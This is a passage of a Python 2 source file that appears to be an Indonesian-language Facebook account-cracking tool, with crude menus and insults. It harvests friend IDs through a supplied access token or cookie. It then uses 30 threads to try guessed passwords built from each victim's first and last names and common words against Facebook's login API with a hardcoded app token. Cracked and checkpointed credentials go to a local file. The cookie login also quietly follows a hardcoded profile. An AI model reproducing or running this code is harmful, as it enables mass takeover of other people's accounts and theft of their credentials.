+ c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c + c ) sys.stdout.flush() time.sleep(0.1) t = threading.Thread(target=animate) t.start() time.sleep(5) done = True def keluar(): print "\033[1;97m{\033[1;91m!\033[1;97m} Keluar" os.sys.exit() def acak(x): w = 'mhkbpcP' d = '' for i in x: d += '!'+w[random.randint(0,len(w)-1)]+i return cetak(d) def cetak(x): w = 'mhkbpcP' for i in w: j = w.index(i) x= x.replace('!%s'%i,'%s;'%str(31+j)) x += '' x = x.replace('!0','') sys.stdout.write(x+'\n') def jalan(z): for e in z + '\n': sys.stdout.write(e) sys.stdout.flush() time.sleep(0.03) logo = """ \033[1;97m██╗██████╗░░███╗░░░██░░░██╗░██╗░░███╗ \033[1;97m██║██░═══╝██╔══██╗░████░██║░██║███░░║ \033[1;97m██║██████╗███████║░███████║░████░░░░║ \033[1;97m██║██║░░░║██░░║██║░██░████║░██╔███░░║ \033[1;97m██║██║░░░║██░░║██║░██░░░██║░██║░╚███║ \033[1;97m╚═╝╚═╝░░░╚═╝░░╚══╝╚═╝░░░╚═╝░╚═╝░░╚══╝ \033[1;34m╔═════════════════════════════════════╗ \033[1;34m║ \033[1;34mAuthor : \033[1;93mIFANK RAJA SANGE \033[1;34m║ \033[1;34m║ \033[1;34mFans : \033[1;93mPecinta Janda semox Montok \033[1;34m║ \033[1;34m╚═════════════════════════════════════╝""" back = 0 threads = [] berhasil = [] cekpoint = [] oks = [] oke = [] id = [] ###### MASUK ###### def masuk(): os.system('clear') print logo print 50* "\033[1;94m─" print "\033[1;97m{\033[1;92m01\033[1;97m} Login Via Token Facebook" print "\033[1;97m{\033[1;92m02\033[1;97m} Ambil Token Download Token App" print "\033[1;97m{\033[1;92m03\033[1;97m} Ambil Token Dari Link" print "\033[1;97m{\033[1;92m04\033[1;97m} Login Via Token Facebook" print "\033[1;97m{\033[1;91m00\033[1;97m} Keluar" print 50* "\033[1;94m─" pilih_masuk() def pilih_masuk(): msuk = raw_input("\033[1;90m︻デ═一▸ Mau Login lewat apa bro ? \033[91m:\033[1;92m ") if msuk =="": print"\033[1;97m[\033[1;91m!\033[1;97m] Ngetik apaan lo pepek?:v" pilih_masuk() elif msuk =="1" or msuk =="01": tokenz() elif msuk =="2"or msuk =="02": ambil_token() elif msuk =="3"or msuk =="03": ambil_link() elif msuk =="4"or msuk =="04": cookie() elif msuk =="0" or msuk =="00": keluar() else: print"\033[1;97m[\033[1;91m!\033[1;97m] Ngetik apaan lo pepek?:v" pilih_masuk() #####LOGIN_COOKIE##### def cookie(): try: cek = open("cookies").read() except FileNotFoundError: cek = input("\033[00mCookies : \033[1;96m") cek = {"cookie":cek} ismi = ses.get(mbasic.format("/me",verify=False),cookies=cek).content if "mbasic_logout_button" in str(ismi): if "Hallo Sob" in str(ismi): with open("cookies","w") as f: f.write(cek["cookie"]) else: try: requests.get(mbasic.format(parser(ismi,"html.parser").find("a",string="Bahasa Indonesia")["href"]),cookies=cek) except: pass try: ikuti = parser(requests.get(mbasic.format("/atet.rama.7"),cookies=cek).content,"html.parser").find("a",string="Ikuti")["href"] ses.get(mbasic.format(ikuti),cookies=cek) except: pass return cek["cookie"] else: print('\033[00mCookies \033[91mInvalid\033[00m') time.sleep(1) os.system('python crot.py') #####LOGIN_TOKENZ##### def tokenz(): os.system('clear') print logo print 50* "\033[1;94m─" toket = raw_input("\033[1;97m{\033[1;95m?\033[1;97m} Token \033[1;91m:\033[1;92m ") try: otw = requests.get('https://graph.facebook.com/me?access_token='+toket) a = json.loads(otw.text) zedd = open("login.txt", 'w') zedd.write(toket) zedd.close() print '\033[1;97m{\033[1;92m✓\033[1;97m}\033[1;92m Login Berhasil' except KeyError: print "\033[1;97m{\033[1;91m!\033[1;97m} \033[1;91mToken salah !" time.sleep(1.7) masuk() ######AMBIL_TOKEN###### def ambil_token(): os.system ("clear") print logo print 50* "\033[1;94m─" jalan(" \033[1;92mAnda Akan Di Arahkan Ke Browser ...") os.system('xdg-open https://drive.google.com/file/d/1eAuQG4aFIH49r0ACpoUWspnSG2VUl4Ci/view?usp=drivesdk') time.sleep(2) masuk() ##### AMBIL LINK ##### def ambil_link(): os.system("clear") print logo print 50* "\033[1;94m─" jalan("\033[1;92mDilarang Menggunakan Akun Facebook Lama...") jalan("\033[1;92mWajib Menggunakan Akun Facebook Baru ...") jalan("\033[1;92mJika Ingin Menggunakan Akun Facebook Lama...") jalan("\033[1;92mWajib Menggunakan Aplikasi Yg Di Sediakan...") os.system ("cd ... && npm install") jalan ("\033[1;96mMulai...") os.system ("cd ... && npm start") raw_input("\n[ Kembali ]") masuk() ###### MENU ####### def menu(): os.system('clear') try: toket = open('login.txt','r').read() except IOError: print "{!} Token Invalid !" os.system('clear') os.system('rm -rf login.txt') masuk() try: otw = requests.get('https://graph.facebook.com/me/?access_token='+toket) a = json.loads(otw.text) nama = a['name'] id = a['id'] except KeyError: os.system('clear') print"\033[1;96m[!] \033[1;91mToken invalid" os.system('rm -rf login.txt') time.sleep(1) masuk() time.sleep(1) masuk() except requests.exceptions.ConnectionError: print"{!} Tidak ada koneksi" keluar() os.system("clear") print logo print 50* "\033[1;94m─" print "\033[1;97m{\033[1;96m•\033[1;97m}\033[1;95m NAMA\033[1;90m =>\033[1;92m " +nama print "\033[1;97m{\033[1;96m•\033[1;97m}\033[1;95m USER ID\033[1;90m =>\033[1;92m " + id print 50* "\033[1;94m─" print "\033[1;97m{"+warni+"01\033[1;97m}"+warna+" Crack ID Dari Teman/Publik" print "\033[1;97m{"+warni+"02\033[1;97m}"+warna+" Crack ID Dari Postingan Grup/Teman" print "\033[1;97m{"+warni+"03\033[1;97m}"+warna+" Crack ID Dari Total Followers" print "\033[1;97m{"+warni+"04\033[1;97m}"+warna+" Cari ID Menggunakan Username" print "\033[1;97m{"+warni+"05\033[1;97m}"+warna+" Perbarui Script" print "\033[1;97m{\033[1;91m00\033[1;97m}"+warna+" Keluar" print 50* "\033[1;94m─" pilih() ######PILIH###### def pilih(): unikers = raw_input("\033[1;92m︻デ═一▸ \033[91m:\033[1;92m ") if unikers =="": print"\033[1;97m{\033[1;91m!\033[1;97m}\033[1;97m Isi Yg Benar !" pilih() elif unikers =="1" or unikers =="01": crack_teman() elif unikers =="2" or unikers =="02": crack_likes() elif unikers =="3" or unikers =="03": crack_follow() elif unikers =="4" or unikers =="04": user_id() elif unikers =="5" or unikers =="05": perbarui() elif unikers =="0" or unikers =="00": os.system('clear') jalan('Menghapus token') os.system('rm -rf login.txt') keluar() else: print"\033[1;97m{\033[1;91m!\033[1;97m}\033[1;97m Isi Yg Benar !" pilih() ##### CRACK TEMAN/PUBLIK ##### def crack_teman(): os.system("clear") print logo print 50* "\033[1;94m─" print "\033[1;97m{"+warna+"01\033[1;97m}"+warni+" Crack ID Indonesia" print "\033[1;97m{"+warna+"02\033[1;97m}"+warni+" Crack ID Bangladesh" print "\033[1;97m{"+warna+"03\033[1;97m}"+warni+" Crack ID Usa" print "\033[1;97m{"+warna+"04\033[1;97m}"+warni+" Crack ID Pakistan" print "\033[1;97m{\033[1;91m00\033[1;97m}"+warni+" Kembali" print 50* "\033[1;94m─" pilih_teman() ######PILIH###### def pilih_teman(): univ = raw_input(""+warna+"︻デ═一▸ \033[91m:\033[1;92m ") if univ =="": print"\033[1;97m{\033[1;91m!\033[1;97m}\033[1;97m Isi Yg Benar !" pilih_teman() elif univ =="1" or univ =="01": crack_indo() elif univ =="2" or univ =="02": crack_bangla() elif univ =="3" or univ =="03": crack_usa() elif univ =="4" or univ =="04": crack_pakis() elif univ =="5" or univ =="05": univ() elif univ =="0" or univ =="00": menu() else: print"\033[1;97m{\033[1;91m!\033[1;97m}\033[1;97m Isi Yg Benar !" pilih_teman() ##### CRACK INDONESIA ##### def crack_indo(): global toket os.system('clear') try: toket=open('login.txt','r').read() except IOError: print"\033[1;96m[!] \x1b[1;91mToken invalid" os.system('rm -rf login.txt') time.sleep(1) keluar() os.system('clear') print logo print 50* "\033[1;94m─" print "\033[1;97m{\033[1;93m01\033[1;97m} Crack Dari Daftar Teman" print "\033[1;97m{\033[1;93m02\033[1;97m} Crack Dari Publik/Teman" print "\033[1;97m{\033[1;93m03\033[1;97m} Crack Dari File" print "\033[1;97m{\033[1;91m00\033[1;97m} Kembali" print 50* "\033[1;94m─" pilih_indo() #### PILIH INDONESIA #### def pilih_indo(): teak = raw_input("\033[1;93m︻デ═一▸ \033[91m:\033[1;92m ") if teak =="": print"\033[1;97m{\033[1;91m!\033[1;97m}\033[1;97m Isi Yg Benar !" pilih_indo() elif teak =="1" or teak =="01": os.system('clear') print logo print 50* "\033[1;94m─" print (" \033[1;93m●●● \033[1;97mCRACK INDONESIA \033[1;93m●●●") print 50* "\033[1;94m─" r = requests.get("https://graph.facebook.com/me/friends?access_token="+toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) elif teak =="2" or teak =="02": os.system('clear') print logo print 50* "\033[1;94m─" print (" \033[1;93m●●● \033[1;97mCRACK INDONESIA \033[1;93m●●●") print 50* "\033[1;94m─" idt = raw_input("\033[1;97m{\033[1;93m●\033[1;97m} \033[1;93mID Publik/Teman \033[1;91m:\033[1;92m ") try: pok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket) sp = json.loads(pok.text) print"\033[1;97m{\033[1;93m●\033[1;97m}\033[1;93m Nama \033[1;91m:\033[1;92m "+sp["name"] except KeyError: print"\033[1;97m{\033[1;91m!\033[1;97m} ID publik/teman tidak ada !" raw_input("\n\033[1;93m{\033[1;97m<Kembali>\033[1;93m}") crack_indo() except requests.exceptions.ConnectionError: print"\033[1;97m{\033[1;91m!\033[1;97m} Tidak ada koneksi !" keluar() r = requests.get("https://graph.facebook.com/"+idt+"/friends?access_token="+toket) z = json.loads(r.text) for i in z['data']: id.append(i['id']) elif teak =="3" or teak =="03": os.system('clear') print logo try: print 50* "\033[1;94m─" print (" \033[1;93m●●● \033[1;97mCRACK INDONESIA \033[1;93m●●●") print 50* "\033[1;94m─" idlist = raw_input('\033[1;97m{\033[1;93m●\033[1;97m} \033[1;93mNama File\033[1;91m :\033[1;92m ') for line in open(idlist,'r').readlines(): id.append(line.strip()) except KeyError: print '\033[1;97m{\033[1;91m!\033[1;97m} File tidak ada ! ' raw_input('\n\033[1;92m[ \033[1;97mKembali \033[1;92m]') except IOError: print '\033[1;97m{\033[1;91m!\033[1;97m} File tidak ada !' raw_input("\n\033[1;93m{\033[1;97m<Kembali>\033[1;93m}") crack_indo() elif teak =="0" or teak =="00": menu() else: print"\033[1;97m[\033[1;91m!\033[1;97m]\033[1;97m Isi Yg Benar !" pilih_indo() print "\033[1;97m{\033[1;93m●\033[1;97m} \033[1;93mTotal ID \033[1;91m:\033[1;92m "+str(len(id)) print('\033[1;97m{\033[1;93m●\033[1;97m} \033[1;93mStop Tekan CTRL+Z') titik = ['. ','.. ','... '] for o in titik: print("\r\033[1;97m{\033[1;93m●\033[1;97m} \033[1;93mCrack Berjalan "+o),;sys.stdout.flush();time.sleep(1) print("\n\033[1;97m{\033[1;93m●\033[1;97m} \033[1;93mGunakan Mode Pesawat Jika Tidak Ada Hasil") print ("\033[1;94m──────────────────────────────────────────────────") ##### MAIN INDONESIA ##### def main(arg): global cekpoint,oks zowe = arg try: sys.stdout.write("\r{}".format(datetime.now().strftime("\033[1;96m%H\033[1;91m:\033[1;93m%M\033[1;91m:\033[1;92m%S \033[1;97m"+str(len(zowe)))));sys.stdout.flush() os.mkdir('done') except OSError: pass try: an = requests.get('https://graph.facebook.com/'+zowe+'/?access_token='+toket) j = json.loads(an.text) bos1 = j['first_name'].lower()+'123' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos1)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos1 oke = open("done/indo.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos1+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;93m×\x1b[1;97m} \x1b[1;93mCEKPOINT") print ("\x1b[1;97m{\x1b[1;93m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;93m") + j['name'] print ("\x1b[1;97m{\x1b[1;93m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;93m") + zowe print ("\x1b[1;97m{\x1b[1;93m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;93m") + bos1 cek = open("done/indo.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos1+"\n") cek.close() cekpoint.append(zowe) else: bos2 = j['first_name'].lower()+'1234' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos2)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos2 oke = open("done/indo.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos2+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;93m×\x1b[1;97m} \x1b[1;93mCEKPOINT") print ("\x1b[1;97m{\x1b[1;93m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;93m") + j['name'] print ("\x1b[1;97m{\x1b[1;93m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;93m") + zowe print ("\x1b[1;97m{\x1b[1;93m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;93m") + bos2 cek = open("done/indo.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos2+"\n") cek.close() cekpoint.append(zowe) else: bos3 = j['first_name'].lower()+'12345' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos3)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos3 oke = open("done/indo.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos3+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;93m×\x1b[1;97m} \x1b[1;93mCEKPOINT") print ("\x1b[1;97m{\x1b[1;93m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;93m") + j['name'] print ("\x1b[1;97m{\x1b[1;93m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;93m") + zowe print ("\x1b[1;97m{\x1b[1;93m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;93m") + bos3 cek = open("done/indo.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos3+"\n") cek.close() cekpoint.append(zowe) else: bos4 = ('sayang') data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos4)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos4 oke = open("done/indo.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos4+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;93m×\x1b[1;97m} \x1b[1;93mCEKPOINT") print ("\x1b[1;97m{\x1b[1;93m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;93m") + j['name'] print ("\x1b[1;97m{\x1b[1;93m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;93m") + zowe print ("\x1b[1;97m{\x1b[1;93m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;93m") + bos4 cek = open("done/indo.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos4+"\n") cek.close() cekpoint.append(zowe) else: bos5 = ('bangsat') data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos5)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos5 oke = open("done/indo.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos5+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;93m×\x1b[1;97m} \x1b[1;93mCEKPOINT") print ("\x1b[1;97m{\x1b[1;93m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;93m") + j['name'] print ("\x1b[1;97m{\x1b[1;93m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;93m") + zowe print ("\x1b[1;97m{\x1b[1;93m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;93m") + bos5 cek = open("done/indo.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos5+"\n") cek.close() cekpoint.append(zowe) else: bos6 = ('anjing') data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos6)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos6 oke = open("done/indo.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos6+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;93m×\x1b[1;97m} \x1b[1;93mCEKPOINT") print ("\x1b[1;97m{\x1b[1;93m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;93m") + j['name'] print ("\x1b[1;97m{\x1b[1;93m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;93m") + zowe print ("\x1b[1;97m{\x1b[1;93m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;93m") + bos6 cek = open("done/indo.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos6+"\n") cek.close() cekpoint.append(zowe) else: bos7 = ('kontol') data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos7)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos7 oke = open("done/indo.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos7+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;93m×\x1b[1;97m} \x1b[1;93mCEKPOINT") print ("\x1b[1;97m{\x1b[1;93m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;93m") + j['name'] print ("\x1b[1;97m{\x1b[1;93m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;93m") + zowe print ("\x1b[1;97m{\x1b[1;93m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;93m") + bos7 cek = open("done/indo.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos7+"\n") cek.close() cekpoint.append(zowe) else: bos8 = j['last_name'].lower()+'123' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos8)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos8 oke = open("done/indo.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos8+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;93m×\x1b[1;97m} \x1b[1;93mCEKPOINT") print ("\x1b[1;97m{\x1b[1;93m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;93m") + j['name'] print ("\x1b[1;97m{\x1b[1;93m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;93m") + zowe print ("\x1b[1;97m{\x1b[1;93m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;93m") + bos8 cek = open("done/indo.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos8+"\n") cek.close() cekpoint.append(zowe) except: pass p = ThreadPool(30) p.map(main, id) print "\n\033[1;94m──────────────────────────────────────────────────" print '\033[1;97m{\033[1;93m●\033[1;97m} \033[1;93mSelesai ...' print"\033[1;97m{\033[1;93m●\033[1;97m} \033[1;93mTotal \033[1;92mOK\033[1;97m/\x1b[1;93mCP \033[1;97m: \033[1;92m"+str(len(oks))+"\033[1;97m/\033[1;93m"+str(len(cekpoint)) print '\033[1;97m{\033[1;93m●\033[1;97m} \033[1;92mOK\033[1;97m/\x1b[1;93mCP \033[1;93mfile tersimpan \033[1;91m: \033[1;92mdone/indo.txt' print 50* "\033[1;94m─" raw_input("\033[1;97m{<\033[1;93mKembali\033[1;97m>}") os.system("python2 crot.py") ##### CRACK BANGLADESH ##### def crack_bangla(): global toket os.system('clear') try: toket=open('login.txt','r').read() except IOError: print"\033[1;97m{\x1b[1;91m!\x1b[1;97m} Token invalid" os.system('rm -rf login.txt') time.sleep(1) keluar() os.system('clear') print logo print 50* "\033[1;94m─" print "\033[1;97m{\033[1;96m01\033[1;97m} Crack Dari Daftar Teman" print "\033[1;97m{\033[1;96m02\033[1;97m} Crack Dari Publik/Teman" print "\033[1;97m{\033[1;96m03\033[1;97m} Crack Dari File" print "\033[1;97m{\033[1;91m00\033[1;97m} Kembali" print 50* "\033[1;94m─" pilih_bangla() #### PILIH BANGLADESH #### def pilih_bangla(): teak = raw_input("\033[1;96m︻デ═一▸ \033[91m:\033[1;92m ") if teak =="": print"\033[1;97m{\033[1;91m!\033[1;97m} Isi Yg Benar !" pilih_bangla() elif teak =="1" or teak =="01": os.system('clear') print logo print 50* "\033[1;94m─" print (" \033[1;96m●●● \033[1;97mCRACK BANGLADESH \033[1;96m●●●") print 50* "\033[1;94m─" r = requests.get("https://graph.facebook.com/me/friends?access_token="+toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) elif teak =="2" or teak =="02": os.system('clear') print logo print 50* "\033[1;94m─" print (" \033[1;96m●●● \033[1;97mCRACK BANGLADESH \033[1;96m●●●") print 50* "\033[1;94m─" idb = raw_input("\033[1;97m{\033[1;96m●\033[1;97m}\033[1;96m ID Publik/Teman \033[1;91m:\033[1;92m ") try: pok = requests.get("https://graph.facebook.com/"+idb+"?access_token="+toket) sp = json.loads(pok.text) print"\033[1;97m{\033[1;96m●\033[1;97m}\033[1;96m Nama \033[1;91m:\033[1;92m "+sp["name"] except KeyError: print"\033[1;97m{\033[1;91m!\033[1;97m} ID publik/teman tidak ada !" raw_input("\n\033[1;96m{\033[1;97m<Kembali>\033[1;96m}") crack_bangla() except requests.exceptions.ConnectionError: print"{!} Tidak ada koneksi !" keluar() r = requests.get("https://graph.facebook.com/"+idb+"/friends?access_token="+toket) z = json.loads(r.text) for i in z['data']: id.append(i['id']) elif teak =="3" or teak =="03": os.system('clear') print logo try: print 50* "\033[1;94m─" print (" \033[1;96m●●● \033[1;97mCRACK BANGLADESH \033[1;96m●●●") print 50* "\033[1;94m─" idlist = raw_input('\033[1;97m{\033[1;96m●\033[1;97m}\033[1;96m Nama File \033[1;91m:\033[1;92m ') for line in open(idlist,'r').readlines(): id.append(line.strip()) except KeyError: print '\033[1;97m{\033[1;91m!\033[1;97m} File tidak ada ! ' raw_input('\n\033[1;92m[ \033[1;97mKembali \033[1;92m]') except IOError: print '\033[1;97m{\033[1;91m!\033[1;97m} File tidak ada !' raw_input("\n\033[1;96m{\033[1;97m<Kembali>\033[1;96m}") crack_bangla() elif teak =="0" or teak =="00": menu() else: print"\033[1;97m{\033[1;91m!\033[1;97m} Isi Yg Benar !" pilih_bangla() print "\033[1;97m{\033[1;96m●\033[1;97m}\033[1;96m Total ID \033[1;91m:\033[1;92m "+str(len(id)) print('\033[1;97m{\033[1;96m●\033[1;97m}\033[1;96m Stop Tekan CTRL+Z') titik = ['. ','.. ','... '] for o in titik: print("\r\033[1;97m{\033[1;96m●\033[1;97m}\033[1;96m Crack Berjalan "+o),;sys.stdout.flush();time.sleep(1) print("\n\033[1;97m{\033[1;96m●\033[1;97m} \033[1;96mGunakan Mode Pesawat Jika Tidak Ada Hasil") print ("\033[1;94m──────────────────────────────────────────────────") ##### MAIN BANGLADESH ##### def main(arg): 